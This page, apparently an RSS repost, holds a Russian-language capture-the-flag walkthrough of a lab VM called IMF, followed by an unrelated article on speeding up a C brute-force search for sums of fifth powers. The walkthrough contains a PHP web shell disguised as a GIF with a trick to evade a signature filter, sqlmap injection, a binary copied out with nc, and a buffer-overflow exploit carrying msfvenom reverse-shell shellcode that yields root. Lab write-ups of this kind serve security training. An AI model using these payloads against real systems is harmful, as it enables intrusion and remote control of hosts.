          $ sudo arp-scan -l -I wlan0| grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535
          

          Starting Nmap 7.01 ( nmap.org ) at 2016-12-25 22:41 MSK
          Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
          SYN Stealth Scan Timing: About 1.40% done; ETC: 22:44 (0:03:31 remaining)
          Nmap scan report for 192.168.1.116
          Host is up (0.00046s latency).
          PORT STATE SERVICE VERSION
          80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
          MAC Address: 08:00:27:40:8D:1B (Oracle VirtualBox virtual NIC)

          Flag 1


          Приступаем к поиску директорий на сайте:
          $ sudo dirsearch -u 'http://192.168.1.116' -e php,html,bak,txt,jpg,json -w /usr/share/dirb/wordlists/big.txt -r -f -x 403
          

          Просматривая каждую из найденых страниц и их код, на странице contact.php, находим первый флаг:

          <section id="service">
                  <div class="container">
                      <!-- flag1{YWxsdGhlZmlsZXM=} -->
                      <div class="service-wrapper">
                          <div class="row">
                              <div class="col-md-4 col-sm-6">
                                  <div class="block wow fadeInRight" data-wow-delay="1s">
                                      <div class="icon">
                                         <i class="fa fa-desktop"></i> 
                                      </div>
                                      <h3>Roger S. Michaels</h3>
                                      <p>rmichaels@imf.local</p>
                                      <p>Director</p>
                                  </div>
                              </div>
                              <div class="col-md-4 col-sm-6">
                                  <div class="block wow fadeInRight" data-wow-delay="1.3s">
                                      <div class="icon">
                                          <i class="fa  fa-paper-plane"></i>
                                      </div>
                                      <h3>Alexander B. Keith</h3>
                                      <p>akeith@imf.local</p>
                                      <p>Deputy Director</p>
                                  </div>
                              </div>
                              <div class="col-md-4 col-sm-6">
                                  <div class="block wow fadeInRight" data-wow-delay="1.6s">
                                      <div class="icon">
                                          <i class="fa  fa-file-text"></i>
                                      </div>
                                      <h3>Elizabeth R. Stone</h3>
                                      <p>estone@imf.local</p>
                                      <p>Chief of Staff</p>
                                  </div>
                              </div>
                          </div>
                      </div>
                  </div>
          </section>
          
          

          Помимо флага flag1{YWxsdGhlZmlsZXM=}, находим тут ещё и список e-mail адресов сотрудников:
          estone@imf.local
          akeith@imf.local
          rmichaels@imf.local

          Сохраним его пока, а раскодировав флаг, получаем подсказку к следующему:
          $ echo YWxsdGhlZmlsZXM= | base64 -d
          allthefiles
          

          Flag 2


          При внимательном просмотре, там же в коде страниц можно заметить вот такой участок:
                  <script src="js/ZmxhZzJ7YVcxbVl.js"></script>
                  <script src="js/XUnRhVzVwYzNS.js"></script>
                  <script src="js/eVlYUnZjZz09fQ==.min.js"></script>
          
          

          Похоже на base64. Соединив всё вместе, получаем второй флаг:
          $ echo ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ== | base64 -d
          flag2{aW1mYWRtaW5pc3RyYXRvcg==}
          $ echo aW1mYWRtaW5pc3RyYXRvcg== | base64 -d
          imfadministrator
          
          

          Flag 3


          На полученной странице, крутится форма авторизации, и довольно интересный комментарий в коде страницы:

          <form method="POST" action="">
          <label>Username:</label><input type="text" name="user" value=""><br />
          <label>Password:</label><input type="password" name="pass" value=""><br />
          <input type="submit" value="Login">
          <!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
          </form>
          

          Хм, чаще всего для сравнения строк с учётом регистра в PHP используют либо ==, либо strcmp. У последней, есть одна особенность, функция вернёт 0, если строка будет сравниваться с массивом.
          Проверим тут это. Заменив pass на pass[], пробуем авторизоваться под логином: rmichaels. Всё проходит успешно! +1 флаг:
          flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, rmichaels<br /><a href='cms.php?pagename=home'>IMF CMS</a>
          

          $ echo Y29udGludWVUT2Ntcw== | base64 -d
          continueTOcms
          

          Flag 4


          Переходим по ссылке, и попадаем на страницу:

          Присутствие параметров в адресной строке сразу намекает на наличие БД, либо на Path Traversal. Поэтому отдаём страницу в sqlmap и наслаждаемся результатом:

          sudo sqlmap -u 'http://ift.tt/2iqE2aB' --cookie 'PHPSESSID=pms0cbae74vmfta3spk4kac5q5' --level=5 --risk=3 --dbs --random-agent
          

          Получаем несколько информативных сообщений:
          [15:23:55] [INFO] GET parameter 'pagename' appears to be 'AND boolean-based blind — WHERE or HAVING clause' injectable (with --string=«the»)
          [15:23:55] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
          [15:24:10] [INFO] GET parameter 'pagename' is 'MySQL UNION query (NULL) — 1 to 20 columns' injectable

          И в конечном счёте, sqlmap выдаёт список доступных баз данных:
          available databases [5]:
          [*] admin
          [*] information_schema
          [*] mysql
          [*] performance_schema
          [*] sys

          Тут наибольший интерес представляет база Admin, с единственной таблицей pages
          Дамп этой таблицы


          Тут мы видим наличие ещё одной скрытой страницы tutorials-incomplete. Как видно из кода, там всего одно изображение:

          QR код тут явно лишний, вырезаем его и отправляем на сайт, где и получаем очередной флаг: flag4{dXBsb2Fkcjk0Mi5waHA=} и подсказку:

          $ echo dXBsb2Fkcjk0Mi5waHA= | base64 -d
          uploadr942.php
          

          Flag 5


          Перейдя на страницу, открывается форма загрузки файлов. После нескольких попыток, определяем, что загружать можно только изображения: проверяется как заголовок, так и расширение файла. После успешной загрузки, в коде страницы находим название загруженного файла:
          <html>
          <head>
          <title>File Uploader</title>
          </head>
          <body>
          <h1>Intelligence Upload Form</h1> 
          File successfully uploaded.
          <!-- 4e8c80f6f326 --><form id="Upload" action="" enctype="multipart/form-data" method="post">
                  <p> 
                          <label for="file">File to upload:</label> 
                          <input id="file" type="file" name="file"> 
                  </p> 
                           
              <p> 
                  <input id="submit" type="submit" name="submit" value="Upload"> 
              </p> 
          </form>
          </body>
          </html>
          

          Проверив директорию uploads, находим там наш файл. Пробуем залить шелл через файл shell.gif:
          GIF89a
          <?php system($_GET['cmd']); ?>
          

          И получаем в ответ ошибку!

          ОК, из документации PHP к функциям system и exec, можно узнать что вместо них так же можно использовать вот такую конструкцию:

          echo `id`;
          

          Исправим шелл и опробуем его:
          GIF89a
          <?php $cmd=$_GET['cmd']; print(`$cmd`); ?>
          

          Это сработало! Отлично! Находим в этом же каталоге пятый флаг flag5{YWdlbnRzZXJ2aWNlcw==}
          И очередная подсказка, куда двигаться дальше:

          $ echo YWdlbnRzZXJ2aWNlcw== | base64 -d
          agentservices
          

          Flag 6


          Попробуем поискать этот сервис, используя загруженный PHP shell (команды выполненные через этот шелл будут начинаться с "> "). Вывод запущенных сервисов ничего не дал, а вот файл services оказался интересным:
          > cat /etc/services | grep agent
          cmip-agent      164/tcp
          cmip-agent      164/udp
          zabbix-agent    10050/tcp                       # Zabbix Agent
          zabbix-agent    10050/udp
          agent           7788/tcp                        # Agent service
          

          Всё стандартно, кроме последней строки. Но nmap не нашёл этот порт открытым, возможно сервис нужно запустить, либо тут port knocking.
          Запустим его:
          > agent
          

          Сервис запустился, выдал приветствие, однако порт по прежнему не доступен. Попробовав отыскать сервис, находим рядом интересный файл:

          > whereis agent
          agent: /usr/local/bin/agent
          > ls -ahl /usr/local/bin/
          -rw-r--r--  1 root root   19 Oct 16 08:11 access_codes
          -rwxr-xr-x  1 root root  12K Oct 12 22:39 agent
          > cat /usr/local/bin/access_codes
          SYN 7482,8279,9467
          

          Да, это очень похоже на port knocking, проверяем:
          sudo knock 192.168.1.116 7482 8279 9467; sudo nmap 192.168.1.116 -p7788
          

          Starting Nmap 7.01 ( nmap.org ) at 2016-12-30 22:31 MSK
          Nmap scan report for 192.168.1.116
          Host is up (0.00030s latency).
          PORT STATE SERVICE
          7788/tcp open unknown
          MAC Address: 08:00:27:40:8D:1B (Oracle VirtualBox virtual NIC)

          Порт открылся, после подключения к нему, снова получаем приглашение сервиса agent.
          Это всё хорошо, но для продолжения взаимодействия с этим сервисом ему нужно передать ID. Поэтому скачиваем его себе для дальнейшего анализа:
          $ nc -l -p 9999 > agent
          > nc 192.168.1.124 9999 < /usr/local/bin/agent
          

          Открыв его в IDA, и перейдя на функцию main, можно найти верный ID

          Далее после просмотра кода, становится понятно, что после ввода ID сервис открывает меню, и в зависимости от выбранного пункта запускает ту или иную функцию, наиболее интересной тут оказалась функция report

          Учитывая, что тут отсутствуют проверки пользовательского ввода, получаем самое обычное переполнение буфера. Запустим его в peda и найдём смещение, по которому расположен адрес возврата. Создаём паттерн:

          Передаём его в функцию report

          После краха, находим смещения.

          Отлично, можно приступить к написанию эксплоита.
          Воспользуемся шеллом из Metasploit:

          $ sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.124 LPORT=9999 -f python -b "\x00\x0a\x0d"
          

          import socket
          
          port = 7788
          host = '192.168.1.116'
          agent_id = 48093572
          buf =  ""
          buf += "\xba\xd0\xda\xa0\x74\xd9\xee\xd9\x74\x24\xf4\x58\x33"
          buf += "\xc9\xb1\x12\x31\x50\x15\x03\x50\x15\x83\xe8\xfc\xe2"
          buf += "\x25\xeb\x7b\x83\x26\x5f\x3f\x3f\xc2\x62\x0f\xd9\x9b"
          buf += "\x82\xa2\xa6\x0c\x1f\x55\x67\x9a\xa1\xd9\x0f\xd8\xa1"
          buf += "\x06\xdf\x55\x40\x22\xb9\x3d\xd3\xe2\x12\x34\x32\x47"
          buf += "\x50\xc6\x07\x4f\xd3\xc6\x77\x50\x23\x4f\x94\x91\xc8"
          buf += "\x43\x9a\xf1\x03\xeb\x61\x3b\x9b\x50\x13\x22\x05\xd0"
          buf += "\x2f\x15\x35\xd1\xb0\xaa\xdb"
          shell = buf
          shell += "\x90"*(168-len(shell))
          

          Если внимательно присмотреться, на вывод peda после краха приложения, во время локальной отладки, можно заметить, что регистр EAX указывает на начало стека:

          На атакуемом хосте включен ASLR, это видно после выполнения команды:

          > cat /proc/sys/kernel/randomize_va_space
          2
          

          Поэтому воспользуемся методом, который так же известен как ret2reg. Например тут можно подробнее о нём прочитать.

          Нужный нам адрес (0x08048563) найден. Дописываем его в эксплоит:

          shell += "\x63\x85\x04\x08"
          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          s.connect((host, port))
          s.sendall('%s\n' %(agent_id))
          s.sendall('3\n')
          s.sendall(shell)
          data = s.recv(1024)
          print(data)
          

          Запускаем Metasploit:

          Наконец, после запуска нашего эксплоита получаем шелл с правами root:

          $ python ./exploit_bof.py
          

          И собственно забираем последний флаг:

          Декодируем его:

          $ echo R2gwc3RQcm90MGMwbHM= | base64 -d
          Gh0stProt0c0ls
          

          P.S. Вот так выглядят файлы из корневой директории веб-сервера:

          index.php
          <?php
          session_start();
          $loggedin=false;
          if ($_SESSION['admin_logged_on'] == 'that is affirmative sir') {
                  echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>";
                  $loggedin=true;
          } elseif (isset($_POST["user"]) && isset($_POST["pass"])) {
              $password = "398fj289fj2389fj398fjhhds^hkseifw3893h#(&$$*838hjf";
              sleep(3); // do not bruteforce
              if ($_POST["user"]=='rmichaels') {
                  if (strcmp($password, $_POST["pass"]) == 0) {
                      $_SESSION['admin_logged_on'] = 'that is affirmative sir';
                      echo "flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, ".$_POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>";
                      $loggedin=true;
                  } else {
                      echo "Invalid password";
                  }
              } else {
                  echo "Invalid username.";
              }   
              
          }
          if($loggedin===false) {
          ?>
          <form method="POST" action="">
          <label>Username:</label><input type="text" name="user" value=""><br />
          <label>Password:</label><input type="password" name="pass" value=""><br />
          <input type="submit" value="Login">
          <!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
          </form>
          <?php } ?>
          


          uploadr942.php
          <html>
          <head>
          <title>File Uploader</title>
          </head>
          <body>
          <h1>Intelligence Upload Form</h1> 
          <?php
          
          // This is an example of how NOT to write a Web Application Firewall
          function crappyWAF($content) {
                  $signatures = array(
                          '/\/\*<\?php \/\*\*\//i' => 'Meterpreter payload detected',
                          '/eval/i' => 'Eval php function detected',
                          '/base64_decode/i' => 'Base64_decode php function detected',
                          '/fopen/i' => 'fopen php function detected',
                          '/system/i' => 'system php function detected',
                          '/passthru/i' => 'passthru php function detected',
                          '/exec/i' => 'exec function php detected',
                          '/pcntl_exec/i' => 'pcntl_exec php function detected',
                          '/popen/i' => 'popen php function detected',
                          '/fsockopen/i' => 'fsockopen php function detected',
                          '/proc_open/i' => 'proc_open php function detected',
                          '/fclose/i' => 'fclose php function detected'
                  );
                  foreach($signatures as $signature=>$reason) {
                          if(preg_match($signature, $content)) {
                                  return "CrappyWAF detected malware. Signature: " . $reason;
                          }
                  }
                  return true;
          }
          
          $validextensions = array("jpeg", "jpg", "png", "gif");
          if(isset($_FILES['file']['name'])) {
                  if(!$_FILES['photo']['error']) {
                          $temporary = explode(".", $_FILES["file"]["name"]);
                          $file_extension = end($temporary);
                          if ($_FILES["file"]["size"] > 100000) {
                                  Print "Error: File size too large.";
                          } elseif ((($_FILES["file"]["type"] == "image/png")
                                  || ($_FILES["file"]["type"] == "image/jpg")
                                  || ($_FILES["file"]["type"] == "image/jpeg")
                                  || ($_FILES["file"]["type"] == "image/gif"))
                                  && in_array($file_extension, $validextensions)){
                                  
                                  $contents = file_get_contents($_FILES['file']['tmp_name']);
                                  $waf = crappyWAF($contents);
                                  if($waf!==true) {
                                          print "Error: ".$waf;
                                  } else {
                                          if(exif_imagetype($_FILES['file']['tmp_name'])!==false) {
                                                  //PHP Image Uploading Code
                                                  $new_file_name = substr( md5(rand()), 0, 12);
                                                  move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$new_file_name.".".$file_extension);
                                                  print "File successfully uploaded.\n";
                                                  print "<!-- " . $new_file_name . " -->";
                                          } else {
                                                  print "Error: Invalid file data.";
                                          }
                                  }
                          } else {
                                  print "Error: Invalid file type.";
                          }
                          
                  } else {
                          print "Error uploading file.";
                  }
          }
          
          ?>
          <form id="Upload" action="" enctype="multipart/form-data" method="post">
                  <p> 
                          <label for="file">File to upload:</label> 
                          <input id="file" type="file" name="file"> 
                  </p> 
                           
              <p> 
                  <input id="submit" type="submit" name="submit" value="Upload"> 
              </p> 
          </form>
          
          </body>
          </html>
          

          Комментарии (0)

            This article passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.
            Recommended article: The Guardian's Summary of Julian Assange's Interview Went Viral and Was Completely False.

            Кодирование с изъятием информации. Часть 1-я, философская

            [Из песочницы] Хранение php-сессий в Redis с блокировками

            Просто Angular

            пятница, 30 декабря 2016 г.

            Непрерывная кросс компиляция на Raspberry PI

            [Из песочницы] Распознавание радиотехнических сигналов с помощью нейронных сетей

            К вопросу о «потерянном времени»

            Нам представилась замечательная возможность провести небольшое, но крайне поучительное тактическое занятие.


            Вопросы оптимизации программ, производящих значительное количество вычислений, к сожалению, недостаточно хорошо освещены в литературе и, как правило, сводятся в некоторым общим принципам, верность которых совершенно не очевидна ни до прочтения аргументов автора, не даже после. Поскольку в упомянутом посте (ищите по закавыченным словам) была предложена не-безынтересная вычислительная задача, которая позволяет продемонстрировать эти принципы и конкретные приемы оптимизации в действии, и был создан настоящий пост, который, хоть и несколько отклоняется от направления, излюбленного автором (я вполне себе вижу решение данной задачи на МК класса М3 и даже Ардуино, попробуйте, но все таки микроконтроллеры предназначены несколько для других целей), но тем не менее вписывается в концепцию курса по программированию МК.
            Итак, мы начинаем.
            Напомню задачу — требуется найти пять целых неотрицательных чисел, таких, что сумма пятых степеней первых четырех из них равна пятой степени последнего. Формулировка не вполне корректная и будет в дальнейшем уточняться, но для начала сойдет. Естественный алгоритм решения этой задачи будет состоять в переборе возможных наборов чисел и проверке выполнения для них данного условия. Сразу же уточним условие — чисел, не превосходящих некоторой границы, иначе перебор может никогда не закончится, если такого набора вообще не существует (мы же не надеемся всерьез проверить ВСЕ наборы по пять из целых неотрицательных чисел, не знаю, как читатели, я то точно не доживу до окончания перебора). Напишем это естественное решение, чтобы сразу отметить одну важную черту современного программирования, и вот оно.
            Сразу договоримся, что мы запускаем все свои программы в компиляторе MinGW версии 6.2 на х86 машине i3-2120 3.3 ГГц, что бы эти цифры не обозначали. Если у вас параметры системы отличаются от моих, то и абсолютные значения временных показателей будут несколько другими, хотя относительное время работы разных вариантов должно быть близко.
            Что мы видим — среди наборов чисел, меньших 100, набора, отвечающего заданному условию, не найдено ( на самом деле найдено и их много, но они нас не устраивают, поскольку числа должны быть разными и не равными нулю… я об этом раньше не сказал? — еще один аргумент в пользу аккуратного формулирования ТЗ) и в процессе перебора мы проверили 1е10 комбинаций. При этом время работы программы составило 63 сек.

            Мы уже поняли, что программа неверна в силу неполного формирования условий, но, прежде чем мы начнем ее модифицировать, поговорим о возможном ускорении вычислений при неизменном алгоритме. В мое время были книги, в которых давались рекомендации по машинно-независимой оптимизации исполнения по времени, и для данного алгоритма подошли бы следующие рекомендации:
            — вынести часть вычислений из внутреннего цикла и сформировать промежуточную сумму первых трех чисел;
            — организовать внутренний цикл по уменьшению индекса, а не возрастанию;
            — организовать внутренний цикл в виде do {} while, а не for;
            — сделать индексную переменную регистровой;
            — оптимизировать вычисление пятой степени, что сократит число умножений с 4 до 3,
            — перемежать вычисления степеней, чтобы не блокировать конвейер и так далее…
            и первоначально я собирался все эти изменения провести и показать их влияние на быстродействие и продемонстрировать, как десятки процентов превращаются в разы увеличения быстродействия, но потом от этой идеи отказался.

            Дело в том, что эти рекомендации несколько устарели и в настоящее время единственное, что от программиста требуется, так это разрешить компилятору провести оптимизацию на уровне 3. Да, нужно знать, как это сделать, в моем случае управление оптимизацией прячется в разделе Project/Settingы…-Compile/Optimization, но это все, что необходимо знать для проведения подобной оптимизации. Постоянные читатели моих постов (льщу себя надеждой, что такие есть) уже привыкли видеть в моих опусах стенания по поводу упадка нравов и недостаточно зеленой травы в современной электронике по сравнению с временами моего входа в профессию, но сейчас я, нисколько не отказываясь от высказанных ранее мнений, должен со всей определенностью заявить — современные компиляторы намного лучше своих предшественников и почти идеальны с точки зрения порождаемого кода, если им разрешить оптимизацию.

            Столь сильное утверждение требует доказательства и вот оно — компилируем нашу программу с включенной оптимизацией и на том же самом процессоре видим время исполнения 20 секунд, то есть рост быстродействия в 3 раза (в основном за счет первой рекомендации, хотя остальные тоже дали свой вклад до пятой части ускорения) и без малейших усилий с нашей стороны — потрясающе. Желающие могут попробовать провести все перечисленные мною способы увеличения быстродействия и посмотреть на результат, но я настоятельно рекомендую просто посмотреть на продуцируемый ассемблерный код и понять, что улучшить его практически невозможно. Присоединяясь к автору исходного поста, могу настоятельно рекомендовать сайт gcc.godbolt.org, который дает возможность посмотреть код, порождаемый компилятором gcc для разных архитектур и для разных режимов оптимизации.

            Увеличения быстродействия существенное, тема алгоритмо-независимой оптимизации исчерпана, но пост на этом не заканчивается — неужели есть еще что проделать. Да, есть чем и как улучшить программу (повысить ее быстродействие) и здесь компилятор нам уже не помощник, поскольку он не понимает сути производящихся в коде действий и не может предложить необходимых изменений, это может сделать только программист. На мой взгляд, это удача, раз даже современные средства разработки программ оставляют место для творчества, хотя мой молодой коллега нашел определенные неудобства в продвинутости современных компиляторов, заявив ;«Вам было проще, Вы знали, что компилятор ничего оптимизировать не будет, на него не надеялись и все делали вручную, а нам приходится решать, с какого момента начинается наша часть работы». Ну что сказать — если Вы сделаете ручками все необходимые оптимизации, то хуже точно не будет (лучше тоже не станет, поскольку работа будет задублирована), так что Вам ничто не мешает идти до конца, я всего лишь подсказал более короткую дорогу.

            Возвращаемся к нашей программе и ищем способы ускорить ее. Вернее, прежде чем искать такие способы, необходимо удостоверится в необходимости данного действия. Проверяем время выполнения при разных значениях границы и обнаруживаем, что для значений 60 и 70 времена отличаются более, чем в 2 раза, что подтверждает нашу гипотезу относительно времени работы алгоритма как о(N**5): 70/60=1.17**5=2.2 раза. Воспользуемся полученной формулой для оценки времени выполнения нашей программы для границы 1000 и получим 553 часа, что несколько превосходит наши ожидания, для больших чисел время меньше точно не будет — есть смысл оптимизировать.
            Далее перед абзацами будут указаны принципы решения инженерных задач системы ТРИЗ, как я ее помню.

            ПРИНЦИП ИСКЛЮЧЕНИЯ, ИЛИ УБИРАЕМ ПОВТОРНУЮ РАБОТУ.
            Пока мы не видим возможность изменить полученную оценку времени исполнения алгоритма, но можно уменьшить коэффициент при определяющем члене. Видно, что мы перебираем все перестановки заданного множества натуральных чисел, если учесть возможность их ранжировать и независимость результата от порядка операндов, то приходим к выводу, что нам необходимо рассматривать сочетания элементов заданного множества. Перебор сочетаний легко реализуется изменением начального значения переменной цикла для очередного элемента, что мы и проделываем и скорость работы программы возрастает разительно, на два порядка. Ну так и должно быть, мы рассчитывал на прирост в 5! раз, а это именно 120.

            Небольшое отступление — в оригинальном посте автор приходит к подобной идее после выписывания на листочке различных комбинаций индексов и рассмотрения получившихся результатов, поскольку честно признается, что в комбинаторике не силен. Отдавая дань уважения его усилиям, должен заявить, что комбинаторика и элементы теории вероятностей (именно элементы, поскольку ТерВер во всей его красе и мощи не назовешь простым) — это та часть математики, без которой заниматься анализом алгоритмов контрпродуктивно. Я, конечно, рад, что автору удалось воссоздать метод генерации сочетаний, но его просто надо знать и все, как таблицу умножения. Это я по поводу периодически возникающих споров на тему, нужна ли программисту математика, но это мое личное мнение, выраженное в частной беседе, и оно может быть ошибочным.

            Возвращаясь к основной теме — это именно та оптимизация, которую не сделает компилятор, поскольку тут нужно понимать суть задачи и реализующего ее решение алгоритма, а он на это пока не способен (компилятор с двумя командами все еще остается нереализованным идеалом, хотя кто знает, что будет дальше). И еще одна важная особенность — обычно выгода от подобной оптимизации многократно превышает любую возможную выгоду от оптимизации, осуществляемой компилятором, что и подтверждается в данном случае, поскольку 120>>5. Сведем полученные результаты и попытаемся экстраполировать их до некоторых больших значений, получаем
            Граница__Без оптимизации____Компилятор______Наша________Обе
            10_________0.00 _____________0.00__________0.00________0.00
            50_________2.32______________0.66__________0.02________0.01
            100________62.91_____________19.93_________0.49________0.16 ( 1.43)
            150_______476.20____________150.67_________3.80________1.21 (10.99)
            1000_______1800 ч*____________553 ч*_________14 ч*_______5 ч*(35 ч*)
            (в скобках дано время вычислений для типа результата long long).
            Видим, что если исходный вариант был практически неприемлем при значениях границы выше 200, то последний вариант применим до значения 1000. И мы даже нашли решение, причем целых два, правда, одно из них ложное из-за переполнения, но об этом чуть позже, а пока попытаемся еще улучшить быстродействие.

            ПРИНЦИП ПРЕДВАРИТЕЛЬНОГО ИСПОЛНЕНИЯ.
            Очевидное решение — вычислить значения степеней заранее и выбирать его из таблицы, несомненно, дало результат, но, честно говоря, несколько меньший, чем я надеялся, видимо, с реализацией умножения у х86 все хорошо, а вот с выбором из массива хуже. Но все равно, прирост почти в 8 раз – очень приятно. (Почему то для варианта с типом результата int прироста производительности вообще нет). Чисто теоретически, я могу себе представить компилятор, который подобную оптимизацию проведет, но пока я такого не видел. Обратим внимание на то, что в данном случае нам пришлось за быстродействие заплатить дополнительной памятью, что характерно, поскольку два направления оптимизации — по времени и по памяти, как правило, противоречат друг другу.

            #include "time.h"
            #include "stdio.h"
            #define LOOP(n,m) for (int n=m+1; n<=MAX; n++) 
            #define REZ(i) (Pow5[i])
            typedef long long int rez_t;
            int main(void) {
                    rez_t Pow5[1001];
                    for (int i=0; i<=1000; i++) Pow5[i]=(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i;
                    
                    for (int MAX=50; MAX<=500; MAX+=50) {
                    clock_t t = clock();
            
                    unsigned long long v=0;
                    int r=0;
                    LOOP(i1,0)
                    LOOP(i2,i1) 
                    LOOP(i3,i2) {
                            rez_t Sum = REZ(i1)+REZ(i2)+REZ(i3);
                            LOOP(i4,i3) 
                            LOOP(i5,i4) 
                            {
                                    v++;
                                    if (Sum+REZ(i4)==REZ(i5)) {
                                            r++;
                                            printf("%4d %4d %4d %4d %4d \n",i1,i2,i3,i4,i5);
                                    };
                            };      
                    };
                    t = clock() - t;
                    printf ("MAX=%d time is %f seconds.\n",
                      MAX, ((double)t)/CLOCKS_PER_SEC);
                    printf(" %llu %d\n",v,r);
                    };
                    return 1;
            };
            

            ПРИНЦИП ОГРАНИЧЕНИЯ, ИЛИ ИСКЛЮЧАЕМ НЕПОДХОДЯЩИЕ ВАРИАНТЫ.
            Идем дальше и ищем дополнительные пути, для чего несколько переформулируем задачу — нам нужно найти число, пятая степень которого равна некоторому конкретному числу (представляющему собой сумму пятых степеней четырех других чисел, но это неважно). Данная формулировка позволяет нам сосредоточится на слове «найти» и сразу же наталкивает на мысль о направлении оптимизации — ускорении поиска, у нас он был линейный путем перебора всех возможных значений, а это не лучший способ для упорядоченного набора данных. Первая мысль — бинарный поиск и такое направление могло бы дать нам существенный прирост производительности, но мы пойдем другим путем — для начала перестанем просматривать варианты, которые заведомо не могут быть решением, поскольку мы перебираем значения в порядке возрастания и искомое значение уже превышено. Можно ожидать прироста скорости раза в два, точная аналитическая оценка едва ли возможна и мы действительно получаем ускорение почти в 5 раз.

            Небольшое замечание — для того, чтобы перейти к этому методу нам пришлось изменить тип результата на двойное целое. Дело в том, что предложенный метод требует упорядоченности пятых степеней чисел-кандидатов, а из равенства n>m, к моему глубочайшему сожалению, не следует n%k > m%k, если любое из n или m превосходит k. Вы спросите, откуда тут взялось k, ведь мы просто работаем с целыми числами, но дело в том, что в любой практически реализуемой архитектуре целые числа (если скорость выполнения арифметических операция с ними разумна) имеют ограниченную разрядность и, соответственно, подразумевают взятие результата каждой операции по модулю максимально представимого числа. Если у нас результат 32 разрядный, то это число составит (2**32)-1 ~ 2**32 = (2**2)*(2**30) = 4*((2**10)**3) ~ 4*((10**3)**3) = 4*(10**9) = 0.4*(10**10) и корень пятой степени из этого числа составит число, близкое к 100 (точное значение 84). тогда для 64 разрядного результата получим наибольшее значение границы 7130, а для 128 разрядного ~ 50е6.

            #include "time.h"
            #include "stdio.h"
            #define LOOP(n,m) for (int n=m+1; n<=MAX; n++) 
            #define REZ(i) (Pow5[i])
            typedef long long rez_t;
            int main(void) {
                    rez_t Pow5[1001];
                    for (int i=0; i<=1000; i++) Pow5[i]=(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i;
                    
                    for (int MAX=50; MAX<=500; MAX+=50) {
                    clock_t t = clock();
            
                    unsigned long long v=0;
                    int r=0;
                    LOOP(i1,0)
                    LOOP(i2,i1) 
                    LOOP(i3,i2) {
                            rez_t Sum3 = REZ(i1)+REZ(i2)+REZ(i3);
                            int i4=i3+1; 
                            do {
                                    rez_t Sum4 = Sum3 + REZ(i4);
                                    int i5=i4+1;
                                    do {
                                            v++;
                                            if (Sum4==REZ(i5)) {
                                                    r++;
                                                    printf("%4d %4d %4d %4d %4d \n",i1,i2,i3,i4,i5);
                                            };
                                    i5++; } while ((Sum4>=REZ(i5)) && (i5<=MAX));
                            i4++; } while (i4<=MAX);     
                    };
                  t = clock() - t;
                    printf ("MAX=%d time is %f seconds.\n",
                      MAX, ((double)t)/CLOCKS_PER_SEC);
                    printf(" %llu %d\n",v,r);
                    };
                    return 1;
            };
            

            ПРИНЦИП ОЦЕНОК, ИЛИ ИСПОЛЬЗУЕМ ПРЕДЫДУЩИЕ РЕЗУЛЬТАТЫ (ГУСЕНИЦА).
            Неплохо, хотя для бинарного поиска должно быть намного лучше, но мы учитываем еще одно соображение, которое делает такой способ предпочтительнее — мы можем существенно сократить время поиска, если не будем просматривать числа, меньшие найденного в предыдущем цикле, ведь раз они были меньше предыдущей суммы, то гарантированно будут меньше текущей, которая предыдущую превосходит. Получается, что мы можем работать по принципу гусеницы («Caterpillar method») для четвертого и пятого числа, а при применении данного метода гарантированное количество итераций не может превзойти значения 2*n, где n — длина интервала и мы по сравнению с предыдущим необходимым количеством итераций n*(n-1)/2 выигрываем в (n-1)/4 раз, что весьма и весьма значительно для больших чисел. При этом количество итераций даже лучше, чем для бинарного поиска, которое составит n*log2(n) и превзойдет наше значение уже при n>2**2=4.

            #include "time.h"
            #include "stdio.h"
            #define LOOP(n,m) for (int n=m+1; n<=MAX; n++) 
            #define REZ(i) (Pow5[i])
            typedef long long rez_t;
            int main(void) {
                    rez_t Pow5[1001];
                    for (int i=0; i<=1000; i++) Pow5[i]=(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i*(rez_t)i;
                    
                    for (int MAX=50; MAX<=500; MAX+=50) {
                    clock_t t = clock();
            
                    unsigned long long v=0;
                    int r=0;
                    LOOP(i1,0)
                    LOOP(i2,i1) 
                    LOOP(i3,i2) {
                            rez_t Sum3 = REZ(i1)+REZ(i2)+REZ(i3);
                            int i4=i3+1; 
                            int i5=i4+1;
                            do {
                                    rez_t Sum4 = Sum3 + REZ(i4);
                                    if (Sum4 >= REZ(i5)) do {
                                            v++;
                                            if (Sum4==REZ(i5)) {
                                                    r++;
                                                    printf("%4d %4d %4d %4d %4d \n",i1,i2,i3,i4,i5);
                                            };
                                    i5++; } while ((Sum4>=REZ(i5)) && (i5<=MAX));
                            i4++; } while ((i4<=MAX) && (i5<MAX));    
                    };
                    t = clock() - t;
                    printf ("MAX=%d time is %f seconds.\n",
                      MAX, ((double)t)/CLOCKS_PER_SEC);
                    printf(" %llu %d\n",v,r);
                    };
                    return 1;
            };
            

            Замечательный факт — нам впервые удалось понизить не коэффициент перед определяющим членом, а порядок его, что приводит к весьма существенному ускорению работы для больших значений границ рассматриваемых чисел. Сведем еще раз результаты в таблицу и порадуемся полученным значениям
            Граница__Таблица степеней___Ограничение 5__Метод гусеницы__Метод инверсии
            100________0.3_________________0.1__________0.02____________0.04
            150________1.8_________________0.6__________0.14____________0.28
            200________6.6_________________2.3__________0.49____________0.36
            300_______50.4________________16.1__________2.14____________2.26
